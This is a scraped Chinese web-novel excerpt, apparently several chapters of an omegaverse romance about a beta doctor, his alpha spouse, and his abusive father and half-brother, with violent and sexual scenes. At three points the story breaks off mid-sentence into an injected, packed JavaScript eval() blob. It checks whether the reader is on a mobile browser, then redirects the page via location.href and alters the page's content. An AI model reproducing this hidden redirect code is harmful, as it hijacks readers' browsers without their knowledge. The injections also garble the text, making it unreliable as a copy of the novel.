方引的脸色沉了下来,两步走到方澄面前:“所以你大晚上喝得醉醺醺的就是为了来骚扰我?” 方澄换了个姿势躺,然后把脚跷在茶几上,盛气凌人地看着方引,“谢先生才回国,还以为你们要蜜里调油好一阵呢,没想到这么快就把你赶出来啦?都三年了,哥哥,你也真是没用啊。” 嘴里喊着哥哥,但方引很清楚,这话从方澄嘴里出来每次都是为了嘲讽。 方澄的母亲曾经是方家制药集团的一位高管,不知怎么的就和方敬岁在一起了,怀孕后就被接回了方家,不久后就生下了方澄。 方澄和他的母亲一样,在对待除了方敬岁以外的人都无比高傲。 在方引小的时候,尽管只是一支笔、一个玩具、一块蛋糕而已,这种方家取之不尽的东西,只要那东西是方引的,方澄就都要抢过来。 不过毕竟有年龄的差距,而且每次方澄要抢东西的时候方引都顺着他,长此以往或许方澄也觉得没意思了,最多碰到面的时候阴阳怪气几句而已,算不得是什么大事。 “如果你今天只是来耍酒疯,那你可以走了,我不欢迎你。” 客厅的灯光为方引的侧影蒙上了一层不甚清晰的光晕,宽松的睡衣衬得他更加瘦削,却并不显得柔弱。俊秀的侧脸一半隐藏在阴影中,像玉石一般通透却冰冷。 “你知道吗?我从小就讨厌你这种高高在上的样子,像是什么都不在乎。”方澄的嘴角扯出一个上翘的弧度,他从沙发上站起来用手指在方引的胸口,“可你在谢积玉面前做低伏小那么久,在我面前有什么资格这么硬啊?” 几乎就是话音刚落,方引忽然伸出手去抓着方澄的手腕反拧到他的背后,猛地把人半压在沙发上,声音冷冷的:“我凭拳头。” “疼......你松开我......啊!!!”随着方引手上的力道加大,方澄冷汗直流,说话的声音都疼得颤颤巍巍,“你不怕我告诉父亲吗?” “看来你是忘了我是骨科医生了。”方引轻笑,然后微微俯身,声音里带着一丝不易察觉的愉悦,“你猜我能不能卸了你的胳膊然后再装上去?等你这胳膊废了的时候,我就带你去医院,亲自给你开刀。” 方澄陡然睁大眼睛,他脸色煞白,嘴角的肌肉都在抽动,然后费劲地扭头看着方引,似乎是想要确认方引的话是不是真的:“你......你敢......” 方引的手微微用力,声音却无比冷静:“你想试试吗?” 方澄紧紧咬着牙一动都不敢动,他感觉方引的劲儿越来越大,胳膊仿佛处在了被扭断的极限上,才终于开口:“父亲......父亲让你回家一趟。” 原来如此。 方引心下了然,便松开了方澄,看着对方像只兔子似的一下子窜到了沙发的另一头,腿还撞上了扶手,一下子跌坐在了地上。 “你要是还不想走。”方引慢步走到厨房里,拿起那把水果刀端详,头也不回道,“我还有一些别的方法来......” 一下秒,方澄像一阵风似的跑了出去,临了了说了一句“变态”,然后把门关的震天响,似乎生怕方引这个变态拿着刀追出来。 终于安静了。 方引再次打开冰箱,拿出一棵已经有点蔫吧了的生菜,剥掉外面几片泛黄叶片后放在水龙头下冲洗。 只是翠绿生嫩的叶片没能吸引方引的注意力,他还在想着方澄的话。 方敬岁让他回家。 方引的心里来来回回地过了近期的事情,怎么想都没有什么特别的。就在这百思不得其解的当口,敲门声又响起来了。 他以为方澄那个来找茬的还没走,抄起水果刀便打开了门。 门外站着的管家微微一愣,只给了那把水果刀一秒钟的目光,随即便欠身对方引道:“打扰了方先生,谢先生有点不太舒服,还是要麻烦您回去一趟。车在楼下。” 方引一听也顾不得尴尬了,有些急切地问道:“怎么回事?” 管家的笑容依然很标准:“抑制剂打得有些过量,现在已经不起作用了。” 深夜的路上车流少,车速很快,回到谢家的时候堪堪只花了半个小时时间。 除开谢积玉以外的人都离开了主楼,方引穿过大厅的时候,轻轻的脚步声都清晰可闻。 方引拾级而上,鼻尖处的兰花香也越来越浓,令他的背脊处无端窜起一阵细小的电流。 他缓缓推开谢积玉卧房的门,却没有看到人。 空气中alpha的兰花香信息素浓得几乎凝成了实质,化都化不开。大床上的被子有些凌乱地堆在一起,床脚有一盒被打翻的alpha抑制剂在那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方引心里算了算谢积玉的易感期,这才发现已经被抑制剂生生硬推迟了一个多月。他心里忽然升了一丝愧疚在脑海里绕来绕去,自己为什么没能在他回来的第一时间发现呢? 抑制剂过量的副作用也在这种时候显现出来,估计谢积玉已经被反反复复的高热弄得力竭。方引只能把他的手臂搭在自己的肩膀上,一米九的个子,大半个人都靠在了方引身上。 把人扶到椅子上坐下后,方引拿着拿着宽大的浴巾轻柔地按在谢积玉的头上,想先把头发上的水珠吸掉大半。 他的手指隔着浴巾在谢积玉的头上慢慢按着,想缓解一下alpha易感期的暴躁,脑中却想着前几天谢惊鸿给他的omega针剂。 以往谢积玉易感期的时候,他用普通的针剂勉强可以帮他渡过。这次明显跟以前不同,压制了太久的易感期已经在alpha体内堆积了过量的信息素,靠普通的针剂或许有些勉强了。 只是出于医生的本能,虽然谢惊鸿不会故意害他,但那毕竟是还没上市的东西,方引并不敢随随便便地往自己身上用,可是不用的话...... “你想闷死我吗?”谢积玉忽然抓住方引的手腕,手心的温度烫的方引一下子回过神来。 方引一愣,另一只手急忙把浴巾拿走:“对不起,我刚才有点走神了。” 可谢积玉却没有松开他的意思,浸透水的眉目像画一般更加深邃:“你有时间走神,不如给我找个omega过来。” 方引深呼吸了一口气,他绕到谢积玉的身前蹲下来,抬眼看着对方:“我可以帮你。” 谢积玉将身体放松地靠在椅背上,皮肤上的水珠因为升高的体温蒸腾成了朦胧的雾气。他伸手卡住方引的下颌,令人被迫仰起头,然后眸色深沉地看着对方:“你能吗?” 5. 两碗面 Luca湿润的鼻子动了动,然后醒了过来。 它前爪贴地,舒服地伸了一个懒腰,又甩了甩那身蓬松油亮的毛,然后走到门边站起,把前爪搭在把手上,轻松地打开了门。 空气中那种熟悉的味道又重了一些。 Luca四个爪子走在木地板上,发出“哒哒哒”的声音,在安静的夜里格外明显。 就在它越过小厅的时候,管家适时出现了。 他蹲下来摸了摸边牧的头,又挠了挠它的下巴:“Luca乖,这个时候你不可以上楼。” Luca歪了歪头,黑豆一样的眼睛定定地看着眼前这个头发花白的人,然后蹭了蹭对方的裤脚。 “等天亮了,我带你去草坪上玩球。”管家又顺着毛撸了几下,弯腰牵着Luca脖子的项圈往它的窝里去,“现在回去睡觉吧。” 听声音就知道,房门被那个人锁上了,出不去了。 Luca却并没有因此乖乖回到自己的窝里。 它转而跃上窗台,轻而易举地将那开了一条缝的窗扒拉开,跳到了外面的草地上。接着从前院越过,跑到另一边的的侧门处,举爪推倒了那个大花瓶。 碎裂声在四点多的黎明显得格外刺耳。 Luca继续在原地等了几秒钟,听到了一阵脚步声越来越近之后,飞快地往回跑,从正门进入,几秒钟就窜上了楼梯。 主人房间门口的味道越来越重,Luca把耳朵贴在门上听,确定里面有声音。而且以自己睥睨同类的智商,它知道它从来没玩过这个游戏,于是便开始扒拉门。 孜孜不倦了十几秒钟后门打开了,Luca一见到主人“汪”了一声就开始摇尾巴,眼睛又圆又亮。 谢积玉的嗓音低沉,怒气外露:“再敢扒门一次,你三天不准出门玩。” 然后“砰”地一下关上门,全世界便安静了下来。 黎明前微冷的春风拂过花园,吹开了纱幔窗帘的一角,将室内浓重的兰花香卷走了一些。 有时候私密感是一种很奇怪的东西,明明过去几个小时方引都不在乎,可当他知道门外仅仅是一条狗,并且有可能看到他的时候,他还是伸手用被子把几乎是湿漉漉的身体裹了起来。 毕竟Luca太聪明了,方引实在是不想让它明白他们现在在做什么。 可方引实在是太累了,他只勉强把自己裹了一半,另一半的身体依旧暴露在灯光下。 左脚的脚踝处有个青紫的手印,腰上也有一道跨过脊椎的红色印记,像是被勒出来的。最明显的印记当属后颈处,几个看上去不同力道的牙印交叠,最重的看上去几乎都渗出了血丝。 方引半阖着眼,被无数次微小电流打过的大脑终于渐渐地冷静了下来。 就在此时,他的肚子却不合时宜地响了一下,方引这才恍恍惚惚地想起来,他好像已经十几个小时没吃东西了,再加上刚刚过去的三个多小时体力耗费巨大,能撑到这个时候才感觉到饥饿感,已经算撑得很久了。 虽然管家说了有什么事都可以吩咐他,只是这么晚了,因为这种原因去麻烦年纪也不小了的管家,方引心里总觉得过意不去,于是便踌躇着开口:“你,饿吗?” 这不开口还好,一说话,方引才察觉到自己的嗓音已经喑哑得不像话。 谢积玉的头发已经汗水而耷拉在额前,他伸手随意地将头发抓到脑后,立体的五官就这样显露在方引的眼前,无论看多少次,还会令方引觉得无比惊艳。 “我还好。”谢积玉坐在沙发上,转头看着方引,“不过吃点也行。” “那我下楼,去稍微做点简单的。” 这话让谢积玉的眉微微一沉,上下把方引扫视了一遍。方引也随之局促了起来,他知道这是一个有些不悦的审视,但他也不知道是为了什么。 难道是觉得过去这几个小时,自己并没有令他满意吗? 可alpha的体力本来就异于常人,方引已经尽量配合谢积玉的节奏了 谢积玉露出一个轻笑:“看来beta别的用没有,在体力上倒是占点优势。” 方引张了张嘴,也没说出什么话来,只是喉咙里涩涩地“嗯”了一声,当是个回答。 他伸出手去拿落在地上的睡袍,谢积玉却还在看着他。 被子下的身体不着寸缕,方引却在心里暗骂自己别扭,那样的事都做了,穿个衣服又算什么。 但是方引坐起身来准备当着谢积玉的面穿的时候,却感到身体内部一股热流不受控制地滑了出来,怪异的感觉让他立刻就僵在了那里。 方引偷偷抬头看了一眼谢积玉,对方却神情自若地站了起来伸了个懒腰,被浴巾围着的腰显得更加劲瘦有力,转头去浴室前撂下一句:“我去泡个澡,等会下去吃。” 方引这才如蒙大赦,谢积玉关上浴室门之后便披上了浴袍。 站起来之后有东西顺着大腿一直流到脚踝,方引都不敢多看,他顾不得腰还酸痛着,随手抽出纸巾胡乱擦了几下,然后进了另一侧卫生间准备再冲洗一下。 他站在镜子前看着,心想alpha想标记猎物的本能确实强大,不仅脖子上印了不少齿痕,就连锁骨和胸口等位置也有谢积玉的牙印。 alpha的来势汹汹的易感期没有三天结束不了,方引还是想着先安排一下科室接下来几天的工作,然后便请几天假。 他步子缓慢地下楼,又不方便弯腰坐下,便把笔记本电脑放在位置较高的岛台上开始处理工作。 离日出还有一段时间,天空呈现出深邃静谧的蓝调。 方引把工作list又来回检查了一遍,确认无误后才把相关安排了发出去,接着把电脑送回了他自己的房间。 准备出来的时候他却看向了自己的床头柜,那里放着谢惊鸿之前给他的那支omega针剂。方引几乎只犹豫了几秒钟,就把那盒子拿了出来,揣在了浴袍的口袋里。然后从最底层的抽屉里拿出一盒贴着“维生素”标签的瓶子,从里面倒出两颗药丸吃了下去。 冰箱里的新鲜食材不少,只是大部分都不是几分钟能做好的。方引在里面挑挑选选,只拿出了一些面条、绿叶菜和鸡蛋。 谢积玉已经洗过澡了,他穿着睡衣从楼上下来坐在岛台边上坐下,自顾自地看起了手机。 方引转过头轻声询问:“你想要白煮蛋还是煎蛋?” “煎蛋,要溏心的。”谢积玉头也不抬地回答道。 五分钟后,一碗面被端到了谢积玉的面前。 汤色清透,面条做底,上面卧着两个金黄的荷包蛋,边上还有两棵碧绿的青菜。 谢积玉是一贯的吃相优雅,只是太过优雅一句话也不说,总是让方引心里有些摸不准自己做的东西到底合不合他的口味。 方引毕竟这么长时间没吃东西了,胃里有些隐隐地不舒服,虽然饿狠了,但他也不敢吃得太快,刻意控制每次只夹起两三根面条,细嚼慢咽地吃掉。 特别是吃青菜的时候,慢吞吞地像是只兔子,一截嫣红的舌尖时隐时现。 谢积玉忽然开口道:“你平常也这样?” 方引被这突如其来的一句话打得摸不着头脑,他看了看桌上的俩碗面,斟酌着开口道:“平常医院加班太晚的时候,回来这样煮一碗面,简单快速,也算是一份及格的晚餐。” 谢积玉慢慢地呼了口气,似乎有什么话想说但又咽下去了。 方引当下就觉得是不是自己会错意了,可还没等他思考出什么答案,谢积玉又开口道:“以后回来得晚,提前跟管家打招呼,让他准备好吃的。” 方引刚才说的那些自己做面条的事,基本都是因为在医院附近那个住所的经历,而且谢积玉似乎忘了方引刚搬进谢家的时候,亲口说方引只是个客人这样的话。 不过这个时候确实也没必要提及,方引不想让谢积玉觉得自己好像非常在乎这句话一样。毕竟只是联姻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373255|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,在方引看来,谢积玉这话也没什么问题。 而且在对方似乎是给了一个台阶的情况下,方引再说什么只会显得不知好歹。 “知道了,谢谢。” 接下来,两个人有些沉默地慢慢吃完了这顿勉强可以说是早餐的面,等放下碗筷的时候,东方的天空已经露出了一丝鱼肚白。 谢积玉饭后就换了运动服去健身,就算在这样易感期稍稍缓解的间隙也不放松,方引心里暗暗感慨怪不得身材那样好。 只是方引自己就不同了,劳累一夜加上刚刚吃了面,碳水的威力上来之后让他困得头都抬不起来,草草地把碗筷丢在水池里就准备继续睡了。 等方引走到两个楼梯之间的时候,步伐却犹豫了。在他薄薄的浴袍口袋中,那个装着针剂的盒子的存在感很强。 从右手边的楼梯上,去到的是自己的房间;从左手边楼梯上,去到的则是谢积玉的主卧。一般来说,方引会选择回自己的房间睡觉,只是这个当口...... 或许是因为刚才那段四下静谧、只有他们二人的简餐时光还算家常温馨,或许是方引也意识到其实强大如谢积玉这样的S级alpha在易感期也容易陷入对亲近感受的渴望中,总之,方引决定不再犹豫,还是回到了谢积玉的卧室。 令方引意外的时候房间已经趁着他离开的这一个小时,已经有人悄悄地来整理过了,干净的床铺很松软,还带着一股淡淡的香气。 方引小心翼翼地掀开被子钻了进去,枕头和被子似乎都带着谢积玉独有的气息。 这一觉是方引最近几天来睡得最好的一次,沉得连梦都没有出现,等他再次醒来的时候屋内依旧是一开始的昏暗。 他赤着脚踩在地毯上,拉开阳台的窗帘后一片金光灿烂。方引把手挡在眼前适应了好一会,才发现天边的云彩已经被太阳描上了一层金边。 他甚少在谢积玉的卧室待这么长时间,眼下此刻竟然令方引有些恍惚得失去了方向感,差点搞不清这到底是日出还是日落,看着天发了好一会呆。 “没睡傻吧?” 谢积玉的声音一出,方引这才发现他竟然坐在了阳台的另一侧的茶室中。他的双腿交叠,笔记本电脑放在膝盖上,面前放着一杯茶,清幽的香气一丝一缕地传到了方引的鼻端。 是谢积玉一向喜欢的佛手柑茶,疏肝理气、和胃止痛。 方引有些不好意思的开口:“我睡得有些沉了。” “是有些沉,现在已经是下午五点了,整整十二个小时。”谢积玉端起面前的茶,吹了吹热气,语气自然得仿佛在拉家常,“你占了我的床,我只能先在这待着。” 方引闻言,脸几乎是“腾”得一下烧了起来。 在他原本的印象里只打算补三四个小时的觉就差不多,毕竟他在谢积玉的房间里也是因为有“正事”。只是眼下这件“正事”没来得及做,时间都被他睡过去了。 “那......要不然,如果你方便的话......”方引顿了顿,又打了一个补丁,“并且你还需要的话,我......我现在是可以的。” 一句话说道最后,方引的声音已经细如蚊呐。 明着自荐枕席这种事情,他的舌头就像在嘴里打结了一般,怎么都说不利索。 谢积玉喝了一口茶,然后放下茶杯道:“你如果指的是你夜里僵硬得像条半死不活的鱼的话,我不需要这样的。” 方引明明记得他昨天晚上也有在尽力迎合了,难道是因为本来就过度劳累体力不佳,才会让对方有这种评价吗?果然没有omega针剂的助兴,确实过不了这一关。 他捏了捏口袋里的那个盒子,刚下定决心要注射的时候,管家忽然出现在了谢积玉的房门口,敲了敲门道:“方先生,外面有人找您。” 方引转头看他,疑惑道:“来这里,是找我吗?” “来人说是您父亲的的司机,姓陈,说接您回方家用晚餐。” 6. 陈年钝痛 方家是个绵延百年了的家族,宅邸总是在一代又一代人的手里反反复复地休整扩建,但整体风貌还是维持着百年前的样式。 如果外人来访,或许会赞一句古朴怀旧,但对在这里生活了二十多年的方引来说,却是一种截然相反的感受。 繁复厚重的深色地毯、踩上去吱呀作响的木质楼梯、阴冷潮湿的小房间以及总会在深夜滴滴答答的卫生间水龙头......时隔几个月,方引在一次回到了这里,闻到宅中总是混着陈腐气息的檀香,那些记忆就无孔不入地复苏了起来。 方引坐在冷硬的木质餐椅上,面前的餐桌上第一道上的菜是一道清蒸鱼,鱼嘴微微张着,眼珠惨白,像是正在盯着他。 胃里翻涌上一股难以言明的呕吐感,方引闭上眼,用尽了力气才压了回去。 方澄从楼上走下来,看到方引的时候脚步顿住了,大约是想起了昨天晚上的经历。但此刻是在方家,于是方澄的胆子就大了起来,对着方引翻了好大一个白眼然后坐在了他对面。 不消几分钟菜便都上齐了,方敬岁也到了,坐在了餐桌的主位上。 他虽然已经五十出头,但是保养得当,看上去也就四十左右。只是那双眼睛狭长幽深,眼神只是轻轻地在方引的身上扫了一下,都让方引觉得寒毛直竖。 等方敬岁拿起了筷子,方引和方澄才随之动筷。 几个佣人毕恭毕敬地在主家用餐的时候站在一边随时应对,主人对菜肴的评价、及时更换餐具以及处理其他突发状况。 不过在方引看来,不过是彰显主人存在感的一种无意义的封建。无论多少年过去,他都难以适应这种被好几个人盯着吃饭的方式。 方引只觉得胃里堵得慌,实在是没什么食欲,只挑着一碟豌豆苗吃一点意思意思。 方敬岁忽然开口道:“阿引最近工作忙吗?” 方引放下碗筷,双手放在膝盖上,对着方敬岁偏转了一下身体,毕恭毕敬道:“医院最近有几台大手术,这几天一直在连轴转,工作强度是稍微大一些。” “这样啊,那还是得多吃点。”方敬岁抬眼示意了一下旁边的佣人,“知道你今天回来,这条鱼专门为你做的,多吃些吧。” 明明让人把他从谢家接回来的,却偏偏要说成好像是方引主动想回来的。放在不知道的旁人身上,大约还会觉得方敬岁对他挺好吧。 一个佣人上前,用筷子仔仔细细地剔掉里面的小刺,把鲜嫩雪白的鱼肉一块一块地放进方引的碗里,到几乎都快堆不下的时候才停手,那盘鱼便只剩下了白骨残骸。 方引从小就不爱吃鱼,小时候方敬岁发现他讨厌鱼,第一次逼着他吃的时候,方引故意让鱼刺卡在喉咙里,最后被送到医院才算完。 可从此之后方敬岁也有了办法,那就是每次都让人把鱼刺挑的干干净净再让方引吃下去。 长大后的方引才慢慢明白过来,方敬岁让他吃鱼并不是觉得鱼有多营养,那只是一种单纯的控制欲和服从性测试罢了。 方敬岁在等他的回话,方澄也正幸灾乐祸地看着他。 于是方引说了一句“谢谢父亲”,便夹起那鱼肉一块块往嘴里送,机械地做着咀嚼和吞咽的动作,尽量压制住胃里翻上来的恶心感。 等一碗鱼肉见底,这顿漫长的晚餐也终于结束了。 饭后三个人坐在客厅里,佣人接着上了三杯茶上来,方引知道今晚这才真的进入了正题。 “阿澄也长大了,马上也要大学毕业了,你作为哥哥要帮帮他啊。” 方引以为自己耳朵出了问题,方澄有方家的千亿制药集团做后盾,他一个医院的主治医师能帮上什么忙?只是这话他不敢明着说出来,打算从反方面回答。 “阿澄学的是金融,我倒是有个同学家里是做投行的,可以介绍给阿澄认识,相信能有一个不错的岗位。”方敬岁的脸上看不出什么来,方引便把话头转给了方澄,“阿澄觉得呢?” “我学金融不是为了从投行底层开始打杂的,你可真为我着想。”方澄对着方引冷冷地开口,然后把头转到了另一边,一副不高兴的样子。 等两个儿子的话音落下,方敬岁才不紧不慢地开口:“我有个成立了几年的材料科技公司,打算让阿澄接手,现在就缺一个露脸的机会。” 一霎那间,有一个可能性忽然从方引的脑海中闪出,他有些不确定方敬岁是不是这个意思,但无论如何都不敢先开口问,生怕有1%的可能性并不是自己想的那样,那自己可就是引狼入室了。 “谢积玉过段时间要办一个慈善晚宴,表面上是为了筹款捐赠,实际上是为了海底隧道的项目沟通有无。到时候政商界人士都会到场,这个露脸的机会对阿澄来说应该够了。”方敬岁顿了顿,又用方引刚才的话来堵回去,“你觉得呢?” 方引心里的最后一丝希望也破灭了,方敬岁打的果然是这个主意。 以前明明都是直接跟谢惊鸿合作的,现在把手伸到谢积玉面前,无非是知道海底隧道这个项目有暴利可图。 毕竟刚经历过谢积玉和谢惊鸿之间那场关于海底隧道项目的争吵,方引就知道这个项目并不像表面上看上去那么繁花似锦,里面的水深不可测,把手伸进去绝非易事。 况且,谢积玉现在对自己的态度还可以,只是因为自己这几年的言行足够有自知之明,从来不会索求任何利益。 但仅仅是这样一层如履薄冰的关系,怎么可能说得动谢积玉让方家横插一脚? “父亲,您知道的,谢积玉并不把我当回事,我应该是说不动他让阿澄参与到项目里的。特别抱歉,我应该是帮不了这个忙了。” 方敬岁看了他半晌,忽然笑了起来,只是那笑只在嘴角,没在眼睛里,让方引不寒而栗:“我听说,你现在在谢家的身份是谢积玉的私人医生?” 方引一瞬间愕然:“什么......?没有的事,谢积玉本来就不想公开,怎么还会造一个假身份给我,除非......” 除非是外面的流言。 方引的声音卡在了半空中,如果这件事是在外面有动静,那性质就会变得完全不一样。 他的心里瞬间焦躁了起来,像是有一个火星蹦到了引线的附近,虽然引线几乎长到无边无际,虽然火星离引线还有一些距离,但是风险已经产生了。 他试探性地开口:“这事儿您是从哪里听说的?” 方敬岁的声音有些冷:“这个你不需要知道。” 方引知道这个话题进行不下去了,他微微叹了口气,决定先断了方敬岁的想法比较好:“谢积玉他确实不待见我,上周刚回来的时候还警告我,让我离海底隧道项目远点。” “我只是让你帮阿澄弄个邀请函,别的也是要靠阿澄自己去争取的。”方敬岁收敛了笑意,声音也冷了几分下去,“所以你怕什么呢?” 如果是慈善晚宴的邀请函,自己去求一求谢积玉应该可以办到,毕竟这也不算直接涉及那个项目,最终能不能成那就与自己无关了。 可方引恍惚间又觉得有些茫然,他最害怕的就是温水煮青蛙,假如这只是一个开始呢? 忽然间情绪的大起大落让方引觉得自己被高高吊起悬在半空里,肢体完全不受控制,连自己的声音好像也被隔在一层薄膜之外,影影绰绰地听不清楚:“我知道了......我会跟他说的。” 方敬岁这才满意地点了点头。 一场谈话结束,这一关也算是过了。方引才发觉自己的身上已经出了一层薄薄的冷汗,让身上被谢积玉咬破的地方正在微微刺痛着。 见方敬岁站起身来,方引也连忙站起来。 方敬岁仔细地打量着这个儿子:“你现在打算走了?” “是的父亲,邀请函的事情我还是打算尽早帮阿澄办妥。” 这时,方敬岁忽然收敛起了那仅存的虚假笑意:“看来你确实不知道我今天找你回家是做什么的。” 就在这时,一直站在方引身后的一个佣人忽然走上前来,狠狠地踢在方引的腿弯上。方引猝不及防,便一下子失去了重心,双膝重重地跪在了地板上。 钻心的疼让方引脸色煞白,还没等他反应过来,方敬岁便站在他面前冷声道:“你前段时间出了车祸,我一直等着你主动跟我认错。” 方引半趴在地上缓了好几秒才直起身子跪好。 车祸——其实那个小事故最多只能定义为剐蹭,那天他下班后在路上正等着红灯,绿灯的时候起步慢了几秒,便被一个有些急躁的新手司机追尾了。车子本身碎了一个车灯,而方引只是一侧肩膀有些软组织挫伤,一周之后就恢复如初了。 冷汗浸湿了方引的额发,他确实不知道为什么方敬岁会因为自己没有把这件微不足道的小事告诉他而大发雷霆。但是这个家里没有道理可讲,只能先服软。 “只是一个小意外,我没受什么伤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方敬岁离开后,家里的佣人们又开始做自己的事情,忙忙碌碌地从跪着的方引身边走过,不给方引任何一个眼神,只把方引当成空气。他们都知道,这个方敬岁事实上的长子在这个方家却是什么都不是。 方澄穿着睡衣从楼上走下来,看着跪着的方引,走到他身边无不轻蔑道:“昨天晚上你还想揍我,现在是谁揍谁啊?” 方引麻木地抬起头看着方澄,眼里几乎是一片灰白的寂静。 方澄被那眼神弄得毛骨悚然,只是对着方引冷哼了一声便逃也似的回了自己的房间。 一开始跪着的时候还很痛,不过痛到最后方引也麻木了。 方引早就知道,只要方敬岁的手里捏着他母亲的命,就算哪天让他杀人放火,方引或许也不得不照办。 他16岁那年曾尝试带着母亲逃离方家,被抓回来的结果是被方敬岁打成了重伤,在地下室里扣着锁链度过了一年,失去了考大学的机会。 后来还是他母亲主动求着方敬岁,方引这才被放出来继续上学,然后考上医科大学,一路走到了今天的。 然而就算是走到了今天,他在方敬岁眼里不过还是一只小蚂蚁,轻轻一用力就能制服他。 整个宅子都安静了下来,客厅里只留了一盏灯,方引只觉得萦绕了他二十多年的、藏在这个腐臭的宅中的什么东西,又在黑暗中窥视着他。 等方引什么时候放松下来,就会扑上来咬断他的喉咙。 夜深之后,万籁俱寂。 三个小时满,方引撑着沙发坐垫慢慢站起来,膝盖的钝痛让他面色煞白,他咬紧了牙才不至于让自己看上去太过狼狈。 他回到谢家后在浴缸里泡了许久,才觉得稍微暖和了一点。 接着方引就像个急需解药的病人,从那件刚换下没几个小时的睡袍里翻出谢惊鸿给他的omega针剂,颤抖着地往自己的手臂上扎进去。 药效来的很快,脑海里萦绕的那点东西很快就散了。 不同的是,只不过这次却跟以前差别很大。 真实的omega铃兰信息素香从方引的身上一丝一缕地飘了出来,大脑像是像是被热气反复熏蒸。上学的时候无数次在课本上学习的omega发热期的感受,方引早早地就将那东西烂熟于心,只是当这件事真实地发生在他身上的时候,却是一种陌生的感受。 灯光和天花板一起扭曲融化,热腾腾地将方引包裹进一个与世隔绝的空间里。 最隐秘的欲望紧紧地缠着方引的四肢,拖着他无限地坠入那一汪滚烫又甜腻的花蜜当中,连颤抖着的呼吸都被慢慢剥夺。 7. 春风呢喃 今夜的春风好像特别温柔。 方引把自己裹在被子里,迷迷糊糊地露出半个头,发现门被打开了,那就是春风来的地方。 有一个影子在那里,不进也不退,就那样看着正难受的方引,不知道看了多久。 方引根本顾不得什么,他又将被子蒙在自己的头上,将自己几乎裹成了一个茧。 尔后,茧有规律地颤动了。 谢积玉走到方引的床前,揭开了被子,里面的人双眼迷蒙,脸颊呈现出一种不正常的红。 方引只觉得谢积玉的身上带着一种静谧的冷香,能将他从这滚烫的地狱里拯救出来,便挣扎着从床上坐起来,一只手向谢积玉的颈部伸出去。 谢积玉及时地抓住了那只手,看着方引的人道:“又装omega?” 那语气没什么温情,方引本能地有了一丝委屈:“不是你要的嘛......” 谢积玉皱眉:“好好说话。” 可眼下方引确实不是思维正常的状态,谢积玉只能环顾四周,随后在床边地摊上发现了一支针管。 他一只手控制着方引,另一只手将那已经空了的针管捡了起来仔细看了看,除了那一行OMEGA-V12的标识外没有任何有效信息。 跟方引以前用的东西不一样。 “这是哪来的?”方引的耳边模模糊糊地响起了谢积玉的声音。 方引一向清朗的声音都变得有些黏糊起来:“是,是你母亲给我的......说你喜欢的......” 谢积玉不知道为什么沉默了,方引双手抬起,将谢积玉控制他的那只手抱在怀里,想去讨好对方,只是对方一动不动。 他竭力抬起头来想看谢积玉的脸,却觉得眼前像是隔着一层毛玻璃,怎么都看不清。 “我不喜欢,以后别用了。” 谢积玉不喜欢这个。 这个认知让方引有些没反应过来,但是他所有的注意力都在身体内部那股难以抑制的热意上,像满杯的热水,而且马上就要溢出来了。 谢积玉怎么能不喜欢呢? 方引凭着本能想去贴近谢积玉,在几乎就要碰上那抿着的唇之前被谢积玉偏头躲开了。 他也没在意,继续寻觅着他的侧脸、喉结和胸口,正当他的唇要落在谢积玉的腹肌上的时候,却被人一把提了起来,像是一件衣服扔回了床上。 下一秒谢积玉便欺身向前,将方引固定在床头,伸手钳住他的下巴:“她什么时候给你的,给的时候有没有说什么特别的话?或者嘱咐你做什么?” 可谢积玉的话像是在空中慢慢旋转、分解,等传到方引耳朵里的时候,方引只觉得谢积玉在说一门自己听不懂的外语。 方引难受得紧,他想挣扎,但谢积玉像一座山压着他。 他不知道在这种时候到底怎么讨好alpha才能让自己如愿,只能一只手紧紧地抓着谢积玉的衣角,一边用恳求的眼神看着谢积玉。 “方引,你听清楚我的问题。”谢积玉用手背轻拍方引滚烫的脸颊,任凭方引怎么挣扎都动摇不了一丝一毫,“如果不说实话,你就这样难受着吧。” 方引心里陡然委屈起来,谢积玉难受的时候自己上赶着,现在换自己难受了,谢积玉却一点都不肯配合他。而且说起来,自己也是为了谢积玉的易感期才用了那玩意,现在看来简直是搬起石头砸了自己的脚。 可身体的热潮一直在催促着方引,他死命地从脑海中分离出一点理智:“她只是说这是新产品,看你会不会更喜欢这个,别的,真的没有了......” “那你告诉她,我现在不喜欢,以后也不会喜欢。”谢积玉把方引拉得离自己更近的位置,几乎是呼吸相闻,“听懂了的话就点点头。” 方引忙不迭地点头,生怕谢积玉没看清,又加了一句,“我听懂了,真的。” 谢积玉这才放开了方引,然后好整以暇地转身靠在床头看着他。 昏黄暧昧的灯光下,谢积玉的肌肉显示出一种坚硬又炙热的质感。他的声音飘飘忽忽地传到方引的耳朵里,像是海妖塞壬诱惑水手的歌声:“现在是我想要还是你想要?” 方引只记得自己没坚持跪的姿势多长时候,便因为膝盖疼痛而趴在了谢积玉的身上。 谢积玉一只手抵住方引的肩膀将他整个人撑起来,目光由上到下地打量着,看到他红肿青紫的双膝,似乎是有些责怪地在他耳边道:“昨晚在床上就跪了那么一会就红成这样,真的omega都没你难弄......” 方引的感官已经变得朦胧而虚无,但谢积玉的手指碰到了他膝盖的时候,还是让方引就有种被烫伤的错觉,像是一个藏了很久的肮脏秘闻被暴露在大庭广众之下。 